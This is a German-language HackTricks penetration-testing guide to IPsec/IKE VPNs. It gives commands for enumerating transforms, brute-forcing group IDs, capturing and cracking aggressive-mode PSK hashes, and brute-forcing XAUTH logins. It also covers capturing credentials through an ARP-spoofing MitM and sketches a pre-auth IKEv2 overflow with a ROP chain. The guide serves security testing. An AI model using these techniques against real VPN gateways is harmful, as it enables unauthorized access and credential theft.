500/udp - Pentesting IPsec/IKE VPN

Reading time: 17 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

IPsec ist allgemein anerkannt als die zentrale Technologie zur Absicherung der Kommunikation zwischen Netzwerken (LAN-zu-LAN) sowie für entfernte Benutzer zum Netzwerk-Gateway (Fernzugriff) und bildet das Rückgrat von Enterprise-VPN-Lösungen.

Die Einrichtung einer security association (SA) zwischen zwei Endpunkten wird von IKE verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll zur Authentifizierung und zum Schlüsselaustausch. Dieser Prozess verläuft in mehreren Phasen:

  • Phase 1: Ein sicherer Kanal wird zwischen zwei Endpunkten hergestellt. Dies geschieht durch Verwendung eines Pre-Shared Key (PSK) oder Zertifikaten, wobei entweder main mode, der drei Nachrichtenpaare umfasst, oder aggressive mode verwendet wird.
  • Phase 1.5: Obwohl nicht zwingend, überprüft diese Phase, bekannt als Extended Authentication Phase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und Passwort verlangt werden.
  • Phase 2: Diese Phase dient der Aushandlung der Parameter zur Absicherung der Daten mit ESP und AH. Sie erlaubt die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um Perfect Forward Secrecy (PFS) sicherzustellen und die Sicherheit zu erhöhen.

Standardport: 500/udp

Ebenfalls häufig offen: 4500/udp (NAT Traversal)

Entdecke den Dienst mit nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Eine gültige Transformation finden

Die IPSec-Konfiguration kann so eingerichtet sein, dass sie nur eine oder wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. Jeder Transform enthält eine Reihe von Attributen wie DES oder 3DES als Verschlüsselungsalgorithmus, SHA oder MD5 als Integritätsalgorithmus, ein pre-shared key als Authentifizierungstyp, Diffie-Hellman 1 oder 2 als Schlüssel-Verteilungsalgorithmus und 28800 Sekunden als Lebensdauer.

Als Erstes müssen Sie eine gültige Transformation finden, damit der Server mit Ihnen kommuniziert. Dafür können Sie das Tool ike-scan verwenden. Standardmäßig arbeitet Ike-scan im main mode und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen proposal mit acht Transforms darin.

Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Wie Sie in der vorherigen Ausgabe sehen können, gibt es ein Feld mit dem Namen AUTH und dem Wert PSK. Das bedeutet, dass das vpn mit einem preshared key konfiguriert ist (und das ist für einen pentester wirklich gut).
Der Wert der letzten Zeile ist ebenfalls sehr wichtig:

  • 0 returned handshake; 0 returned notify: Das bedeutet, dass das Ziel kein IPsec gateway ist.
  • 1 returned handshake; 0 returned notify: Das bedeutet, dass das Ziel für IPsec konfiguriert ist und bereit ist, eine IKE-Verhandlung durchzuführen, und entweder eines oder mehrere der transforms, die Sie vorgeschlagen haben, akzeptabel sind (ein gültiger transform wird in der Ausgabe angezeigt).
  • 0 returned handshake; 1 returned notify: VPN gateways antworten mit einer notify message, wenn keiner der transforms akzeptabel ist (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).

Dann haben wir in diesem Fall bereits eine gültige transformation, aber wenn Sie im 3. Fall sind, müssen Sie etwas brute-force betreiben, um eine gültige transformation zu finden:

First of all you need to create all the possible transformations:

bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Und dann brute-force jedes einzelne mit ike-scan (das kann mehrere Minuten dauern):

bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Wenn der brute-force nicht funktioniert hat, reagiert der Server möglicherweise sogar auf gültige transforms ohne handshakes. Dann könntest du denselben brute-force im aggressive mode versuchen:

bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hoffentlich wird eine gültige Transformation zurückgegeben.
Sie können denselben attack mit iker.py ausprobieren.
Sie könnten auch versuchen, Transformationen mit ikeforce per brute force zu erzwingen:

bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP und 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). Das --trans-Format ist $Enc,$Hash,$Auth,$DH

Cisco empfiehlt, DH groups 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten glauben, dass staatliche Akteure mit großen Ressourcen die Verschlüsselung von Daten, die diese schwachen Gruppen verwenden, relativ einfach brechen können. Dies geschieht durch den Einsatz einer speziellen Methode zur Vorbereitung, die das schnelle Knacken der Codes ermöglicht. Obwohl der Aufbau dieser Methode sehr kostenintensiv ist, erlaubt sie diesen mächtigen Staaten, verschlüsselte Daten in Echtzeit zu lesen, wenn eine schwache Gruppe (z. B. 1.024-bit oder kleiner) verwendet wird.

Server fingerprinting

Anschließend kann man ike-scan verwenden, um zu versuchen, den Hersteller des Geräts zu entdecken. Das Tool sendet einen initialen Vorschlag und stoppt das Replaying. Dann analysiert es die Zeitdifferenz zwischen den vom Server empfangenen Nachrichten und dem passenden Antwortmuster; so kann der pentester erfolgreich den VPN-Gateway-Hersteller fingerprinten. Außerdem verwenden einige VPN-Server das optionale Vendor ID (VID) payload mit IKE.

Gib bei Bedarf die gültige Transformation an (mit --trans)

Wenn IKE den Hersteller erkennt, wird er ausgegeben:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Dies lässt sich auch mit dem nmap-Script ike-version erreichen.

IKEv2-spezifisch: WatchGuard Vendor ID version fingerprinting

Einige IKEv2-Daemons beinhalten nicht-standardmäßige Vendor ID payloads in der IKE_SA_INIT-Antwort. WatchGuard Fireware OS kodiert die Appliance-Version/Build direkt im VID, wodurch ein single-packet, pre-auth fingerprinting möglich wird.

  • Transport: UDP/500 (und UDP/4500 für NAT-T)
  • Packet: IKE_SA_INIT-Antwort enthält ein oder mehrere Vendor ID payloads
  • WatchGuard-Format: 32-Byte-Hash, gefolgt von base64, das z. B. zu VN=12.11.3 BN=719894 dekodiert

Beispiel rohe Bytes aus einem WatchGuard VID payload (die letzten 12 Bytes sind base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Schnelle Extraktion in einer shell, wenn du den base64 tail hast:

bash
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Hinweise

  • Das ist nicht Teil irgendeines IKEv2 RFC. Behandle es als eine herstellerspezifische Besonderheit zur schnellen Ermittlung exponierter/verwundbarer Fireware OS-Versionen.
  • Du musst nur eine IKE_SA_INIT-Antwort hervorrufen; keine Authentifizierung ist erforderlich.

Die korrekte ID (group name) finden

Um den hash erfassen zu dürfen, brauchst du eine gültige Transformation, die Aggressive mode unterstützt, und die korrekte ID (group name). Du wirst den gültigen Gruppennamen wahrscheinlich nicht kennen, daher musst du ihn brute-force.
Dazu empfehle ich dir 2 Methoden:

Bruteforcing ID with ike-scan

Versuche zuerst, eine Anfrage mit einer gefälschten ID zu stellen, um den hash zu sammeln ("-P"):

bash
ike-scan -P -M -A -n fakeID <IP>

Wenn kein Hash zurückgegeben wird, dann wird diese Methode des brute-forcing wahrscheinlich funktionieren. Wenn jedoch ein Hash zurückgegeben wird, bedeutet das, dass ein gefälschter Hash für eine gefälschte ID zurückgesendet wird, sodass diese Methode nicht zuverlässig ist, um die ID zu brute-forcen. Zum Beispiel könnte ein gefälschter Hash zurückgegeben werden (das passiert in modernen Versionen):

Aber wie gesagt, wenn kein Hash zurückgegeben wird, solltest du versuchen, gängige Gruppennamen mit ike-scan zu brute-forcen.

Dieses Script wird versuchen, mögliche IDs per brute-force zu erraten und gibt die IDs zurück, bei denen ein gültiger Handshake zurückkommt (das ist ein gültiger Gruppenname).

Wenn du eine spezifische Transformation entdeckt hast, füge sie in den ike-scan-Befehl ein. Und wenn du mehrere Transformationen entdeckt hast, füge ruhig eine neue Schleife hinzu, um sie alle zu testen (du solltest alle testen, bis eine richtig funktioniert).

Du kannst das dictionary of ikeforce oder the one in seclists mit gängigen Gruppennamen verwenden, um sie per brute-force zu testen:

bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Oder verwende dieses dict (ist eine Kombination der anderen 2 dicts ohne Wiederholungen):

Bruteforcing ID mit Iker

iker.py verwendet ebenfalls ike-scan, um mögliche Gruppennamen per bruteforce zu prüfen. Es folgt seiner eigenen Methode, um eine gültige ID basierend auf der Ausgabe von ike-scan zu finden.

Bruteforcing ID mit ikeforce

ikeforce.py ist ein Tool, das ebenfalls verwendet werden kann, um IDs per brute force zu ermitteln. Dieses Tool wird versuchen, verschiedene Schwachstellen auszunutzen, die dazu verwendet werden könnten, zwischen einer gültigen und einer ungültigen ID zu unterscheiden (kann False-Positives und False-Negatives erzeugen, deshalb bevorzuge ich nach Möglichkeit die ike-scan-Methode).

Standardmäßig sendet ikeforce zu Beginn einige zufällige IDs, um das Verhalten des Servers zu prüfen und die anzuwendende Taktik zu bestimmen.

  • Die erste Methode ist, die Gruppennamen per brute-force zu ermitteln, indem nach der Information Dead Peer Detection DPD von Cisco-Systemen gesucht wird (diese Info wird nur vom Server zurückgespielt, wenn der Gruppenname korrekt ist).
  • Die zweite Methode prüft die Anzahl der Antworten, die auf jeden Versuch gesendet werden, weil manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird.
  • Die dritte Methode besteht darin, nach "INVALID-ID-INFORMATION" als Antwort auf eine falsche ID zu suchen.
  • Schließlich, wenn der Server auf die Checks überhaupt nicht antwortet, wird ikeforce versuchen, den Server per brute force anzugreifen und prüfen, ob der Server bei Zusenden der korrekten ID mit irgendeinem Paket reagiert.\

Offensichtlich ist das Ziel des Brute-Forcens der ID, den PSK zu erhalten, wenn man eine gültige ID hat. Dann muss man mit der ID und dem PSK das XAUTH brute-forcen (falls es aktiviert ist).

Wenn du eine bestimmte Transformation entdeckt hast, füge sie in den ikeforce-Befehl ein. Und wenn du mehrere Transformationen entdeckt hast, füge ruhig eine neue Schleife hinzu, um sie alle zu versuchen (du solltest sie alle ausprobieren, bis eine davon richtig funktioniert).

bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Aus dem Buch Network Security Assessment: Know Your Network): Es ist außerdem möglich, gültige Benutzernamen zu erhalten, durch Sniffing der Verbindung zwischen dem VPN client und dem server, da das erste aggressive mode packet, das die client ID enthält, im Klartext gesendet wird

Capturing & cracking the hash

Schließlich, wenn Sie eine valid transformation und den group name gefunden haben und aggressive mode is allowed, dann können Sie sehr einfach den crackable hash abgreifen:

bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Der Hash wird in hash.txt gespeichert.

Sie können psk-crack, john (mit ikescan2john.py) und hashcat verwenden, um den Hash zu crack:

bash
psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE kombiniert mit einem Pre-Shared Key (PSK) wird häufig für Gruppen-Authentifizierung verwendet. Diese Methode wird durch XAuth (Extended Authentication) ergänzt, das eine zusätzliche Ebene der Benutzer-Authentifizierung einführt. Solche Authentifizierungen nutzen typischerweise Dienste wie Microsoft Active Directory, RADIUS oder vergleichbare Systeme.

Beim Umstieg auf IKEv2 wird stattdessen EAP (Extensible Authentication Protocol) zur Authentifizierung von Benutzern verwendet. Diese Änderung zeigt eine Entwicklung der Authentifizierungspraktiken in sicheren Kommunikationsprotokollen.

Lokales Netzwerk MitM zum Abfangen von Zugangsdaten

Sie können also die Login‑Daten mit fiked erfassen und prüfen, ob es einen Standardbenutzernamen gibt (Sie müssen den IKE‑Verkehr für das Sniffing zu fiked umleiten, was mit Hilfe von ARP spoofing möglich ist, more info). Fiked wird als VPN‑Endpunkt fungieren und die XAuth‑Anmeldeinformationen erfassen:

bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Außerdem versuchen Sie, mit IPSec einen MitM-Angriff durchzuführen und allen Traffic zu port 500 zu blockieren. Wenn der IPSec tunnel nicht hergestellt werden kann, wird der Traffic möglicherweise im Klartext gesendet.

Brute-forcing XAUTH username und password mit ikeforce

Um die XAUTH per brute force (wenn Sie einen gültigen group name id und den psk kennen) zu testen, können Sie einen username oder eine Liste von usernames und eine Liste von passwords verwenden:

bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Auf diese Weise wird ikeforce versuchen, sich mit jeder Kombination aus Benutzername:Passwort zu verbinden.

Wenn du einen oder mehrere gültige transforms gefunden hast, verwende sie einfach wie in den vorherigen Schritten.

Authentifizierung mit einem IPSEC VPN

In Kali wird VPNC verwendet, um IPsec-Tunnel herzustellen. Die profiles müssen sich im Verzeichnis /etc/vpnc/ befinden. Du kannst diese profiles mit dem Befehl vpnc starten.

Die folgenden Befehle und Konfigurationen veranschaulichen den Prozess zum Einrichten einer VPN-Verbindung mit VPNC:

bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In dieser Konfiguration:

  • Ersetze [VPN_GATEWAY_IP] durch die tatsächliche IP-Adresse des VPN-Gateways.
  • Ersetze [VPN_CONNECTION_ID] durch die Kennung für die VPN-Verbindung.
  • Ersetze [VPN_GROUP_SECRET] durch das Gruppen-Secret des VPN.
  • Ersetze [VPN_USERNAME] und [VPN_PASSWORD] durch die VPN-Authentifizierungsdaten.
  • [PID] symbolisiert die Prozess-ID, die zugewiesen wird, wenn vpnc gestartet wird.

Stelle sicher, dass beim Konfigurieren des VPNs tatsächliche, sichere Werte anstelle der Platzhalter verwendet werden.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Moderne VPN-Appliances bieten oft IKEv2 auf UDP/500 (und UDP/4500 für NAT-T) an. Eine häufige Angriffsfläche vor der Authentifizierung ist das Parsen von Identification (IDi)- und Certificate-Payloads während IKE_SA_AUTH.

Überblick zum Ausnutzungsablauf, wenn ein verwundbarer IKEv2-Parser vorhanden ist:

  • Sende ein gültiges IKE_SA_INIT, um Transforms auszuhandeln und Diffie–Hellman abzuschließen.
  • Folge mit IKE_SA_AUTH, das eine IDi enthält, die den Bug auslöst (z. B. eine übergroße Identification, die in einen festgrößigen Stack-Buffer kopiert wird, bevor das Zertifikat validiert wird).
  • Die daraus resultierende Speicherkorruption kann Kontrolle über gespeicherte Register und Return-Address ermöglichen.
  • Mit aktiviertem NX, aber fehlenden anderen Schutzmaßnahmen (kein PIE/keine canaries), baue eine ROP-Chain, um mprotect auf einer stack page aufzurufen und dann die Ausführung auf injizierten shellcode oder einen residenten Interpreter (z. B. /usr/bin/python3) zu pivotieren, falls kein /bin/sh verfügbar ist.

Beispielhafte Standard-Transforms, beobachtet auf einigen IKEv2-Appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) mit DH Group 14
  • SHA1–AES(256-bit) mit DH Group 5
  • SHA1–AES(256-bit) mit DH Group 2
  • SHA1–3DES mit DH Group 2

Praktische Tipps

  • Ziel sowohl UDP/500 als auch UDP/4500 an; NAT-T-Server antworten möglicherweise nur auf 4500.
  • Erhöhe Empfangspuffer und Timeouts für UDP-basierte Scanner, um Paketverlust zu vermeiden.
  • Wenn der Service benutzerdefinierte Vendor IDs ausgibt (siehe Abschnitt oben), nutze diese, um verwundbare Versionen schnell zu fingerprinten, bevor Exploit-Traffic gesendet wird.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks